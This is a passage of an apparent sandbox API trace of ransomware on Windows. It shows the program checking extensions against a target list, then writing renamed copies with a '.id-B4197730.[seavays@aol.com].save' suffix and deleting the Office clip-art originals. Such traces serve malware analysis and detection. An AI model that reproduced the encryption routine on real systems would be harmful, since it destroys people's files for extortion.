0xffffffff [0206.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.364] lstrlenW (lpString=".doc") returned 4 [0206.364] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.364] lstrlenW (lpString=".docx") returned 5 [0206.364] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0206.365] lstrlenW (lpString=".pdf") returned 4 [0206.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.365] lstrlenW (lpString=".xls") returned 4 [0206.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.365] lstrlenW (lpString=".xlsx") returned 5 [0206.365] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0206.365] lstrlenW (lpString=".ppt") returned 4 [0206.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.365] lstrlenW (lpString=".zip") returned 4 [0206.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.365] lstrlenW (lpString=".rar") returned 4 [0206.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.365] lstrlenW (lpString=".bz2") returned 4 [0206.365] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.365] lstrlenW (lpString=".7z") returned 3 [0206.365] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.365] lstrlenW (lpString=".dbf") returned 4 [0206.365] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.365] lstrlenW (lpString=".1cd") returned 4 [0206.365] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.365] lstrlenW (lpString=".jpg") returned 4 [0206.365] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.366] lstrlenW (lpString=".doc") returned 4 [0206.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.366] lstrlenW (lpString=".docx") returned 5 [0206.366] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0206.366] lstrlenW (lpString=".pdf") returned 4 [0206.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.366] lstrlenW (lpString=".xls") returned 4 [0206.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.366] lstrlenW (lpString=".xlsx") returned 5 [0206.366] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0206.366] lstrlenW (lpString=".ppt") returned 4 [0206.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.366] lstrlenW (lpString=".zip") returned 4 [0206.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.366] lstrlenW (lpString=".rar") returned 4 [0206.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.366] lstrlenW (lpString=".bz2") returned 4 [0206.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.366] lstrlenW (lpString=".7z") returned 3 [0206.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.366] lstrlenW (lpString=".dbf") returned 4 [0206.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.367] lstrlenW (lpString=".1cd") returned 4 [0206.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0206.367] lstrlenW (lpString=".jpg") returned 4 [0206.367] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.367] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0206.367] lstrlenW (lpString="boxed-correct.avi") returned 17 [0206.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0206.369] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=111320) returned 1 [0206.369] CloseHandle (hObject=0x340) returned 1 [0206.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0206.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.374] lstrlenW (lpString=".doc") returned 4 [0206.374] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0206.374] lstrlenW (lpString=".docx") returned 5 [0206.374] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0206.374] lstrlenW (lpString=".pdf") returned 4 [0206.374] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0206.375] lstrlenW (lpString=".xls") returned 4 [0206.375] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0206.375] lstrlenW (lpString=".xlsx") returned 5 [0206.375] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0206.375] lstrlenW (lpString=".ppt") returned 4 [0206.375] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0206.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.375] lstrlenW (lpString=".zip") returned 4 [0206.375] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0206.375] lstrlenW (lpString=".rar") returned 4 [0206.375] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0206.375] lstrlenW (lpString=".bz2") returned 4 [0206.375] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0206.375] lstrlenW (lpString=".7z") returned 3 [0206.375] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0206.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.375] lstrlenW (lpString=".dbf") returned 4 [0206.375] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0206.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.375] lstrlenW (lpString=".1cd") returned 4 [0206.375] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0206.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.375] lstrlenW (lpString=".jpg") returned 4 [0206.375] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0206.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.376] lstrlenW (lpString=".doc") returned 4 [0206.376] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0206.376] lstrlenW (lpString=".docx") returned 5 [0206.376] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0206.376] lstrlenW (lpString=".pdf") returned 4 [0206.376] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0206.377] lstrlenW (lpString=".xls") returned 4 [0206.377] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0206.377] lstrlenW (lpString=".xlsx") returned 5 [0206.377] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0206.377] lstrlenW (lpString=".ppt") returned 4 [0206.377] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0206.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.377] lstrlenW (lpString=".zip") returned 4 [0206.377] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0206.377] lstrlenW (lpString=".rar") returned 4 [0206.377] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0206.377] lstrlenW (lpString=".bz2") returned 4 [0206.377] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0206.377] lstrlenW (lpString=".7z") returned 3 [0206.377] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0206.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.377] lstrlenW (lpString=".dbf") returned 4 [0206.377] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0206.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.377] lstrlenW (lpString=".1cd") returned 4 [0206.377] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0206.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0206.377] lstrlenW (lpString=".jpg") returned 4 [0206.377] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0206.378] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0206.378] lstrlenW (lpString="boxed-delete.avi") returned 16 [0206.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0206.379] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=48936) returned 1 [0206.379] CloseHandle (hObject=0x340) returned 1 [0206.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0206.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0206.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0206.380] lstrlenW (lpString=".doc") returned 4 [0206.380] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0206.380] lstrlenW (lpString=".docx") returned 5 [0206.380] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0206.380] lstrlenW (lpString=".pdf") returned 4 [0206.380] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0206.380] lstrlenW (lpString=".xls") returned 4 [0206.380] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0206.380] lstrlenW (lpString=".xlsx") returned 5 [0206.380] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0206.380] lstrlenW (lpString=".ppt") returned 4 [0206.380] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0206.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0206.380] lstrlenW (lpString=".zip") returned 4 [0206.380] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0206.380] lstrlenW (lpString=".rar") returned 4 [0206.380] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0206.380] lstrlenW (lpString=".bz2") returned 4 [0206.380] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0206.380] lstrlenW (lpString=".7z") returned 3 [0206.380] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0206.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[seavays@aol.com].save")) returned 0 [0207.924] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.924] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0207.926] GetLastError () returned 0x0 [0207.926] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0207.946] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xce0, lpOverlapped=0x0) returned 1 [0207.947] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.947] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.948] SetEndOfFile (hFile=0x388) returned 1 [0207.948] CloseHandle (hObject=0x388) returned 1 [0207.948] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.948] SetEndOfFile (hFile=0x384) returned 1 [0207.949] CloseHandle (hObject=0x384) returned 1 [0207.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0207.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0207.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.950] lstrlenW (lpString=".doc") returned 4 [0207.950] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0207.951] lstrlenW (lpString=".docx") returned 5 [0207.951] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0207.951] lstrlenW (lpString=".pdf") returned 4 [0207.951] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0207.951] lstrlenW (lpString=".xls") returned 4 [0207.951] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0207.951] lstrlenW (lpString=".xlsx") returned 5 [0207.951] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0207.951] lstrlenW (lpString=".ppt") returned 4 [0207.951] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0207.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.951] lstrlenW (lpString=".zip") returned 4 [0207.951] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0207.951] lstrlenW (lpString=".rar") returned 4 [0207.951] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0207.951] lstrlenW (lpString=".bz2") returned 4 [0207.951] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0207.951] lstrlenW (lpString=".7z") returned 3 [0207.951] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0207.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.951] lstrlenW (lpString=".dbf") returned 4 [0207.951] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0207.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.951] lstrlenW (lpString=".1cd") returned 4 [0207.951] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0207.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.951] lstrlenW (lpString=".jpg") returned 4 [0207.951] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0207.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.952] lstrlenW (lpString=".doc") returned 4 [0207.952] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0207.952] lstrlenW (lpString=".docx") returned 5 [0207.952] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0207.952] lstrlenW (lpString=".pdf") returned 4 [0207.952] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0207.952] lstrlenW (lpString=".xls") returned 4 [0207.952] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0207.952] lstrlenW (lpString=".xlsx") returned 5 [0207.952] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0207.952] lstrlenW (lpString=".ppt") returned 4 [0207.952] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0207.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.952] lstrlenW (lpString=".zip") returned 4 [0207.952] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0207.952] lstrlenW (lpString=".rar") returned 4 [0207.952] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0207.952] lstrlenW (lpString=".bz2") returned 4 [0207.952] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0207.952] lstrlenW (lpString=".7z") returned 3 [0207.952] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0207.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.952] lstrlenW (lpString=".dbf") returned 4 [0207.952] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0207.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.952] lstrlenW (lpString=".1cd") returned 4 [0207.952] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0207.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0207.953] lstrlenW (lpString=".jpg") returned 4 [0207.953] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0207.953] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0207.953] lstrlenW (lpString="J0099186.JPG") returned 12 [0207.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.953] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=16738) returned 1 [0207.953] CloseHandle (hObject=0x384) returned 1 [0207.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0207.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.954] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.954] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0207.955] GetLastError () returned 0x0 [0207.955] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x4162, lpOverlapped=0x0) returned 1 [0208.419] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4170, lpOverlapped=0x0) returned 1 [0208.421] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.421] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.422] SetEndOfFile (hFile=0x388) returned 1 [0208.422] CloseHandle (hObject=0x388) returned 1 [0208.422] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.422] SetEndOfFile (hFile=0x384) returned 1 [0208.423] CloseHandle (hObject=0x384) returned 1 [0208.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0208.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.425] lstrlenW (lpString=".doc") returned 4 [0208.425] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.425] lstrlenW (lpString=".docx") returned 5 [0208.425] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0208.425] lstrlenW (lpString=".pdf") returned 4 [0208.425] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.425] lstrlenW (lpString=".xls") returned 4 [0208.425] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.425] lstrlenW (lpString=".xlsx") returned 5 [0208.425] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0208.425] lstrlenW (lpString=".ppt") returned 4 [0208.425] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.425] lstrlenW (lpString=".zip") returned 4 [0208.425] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.425] lstrlenW (lpString=".rar") returned 4 [0208.425] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.425] lstrlenW (lpString=".bz2") returned 4 [0208.425] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.425] lstrlenW (lpString=".7z") returned 3 [0208.425] lstrcmpiW 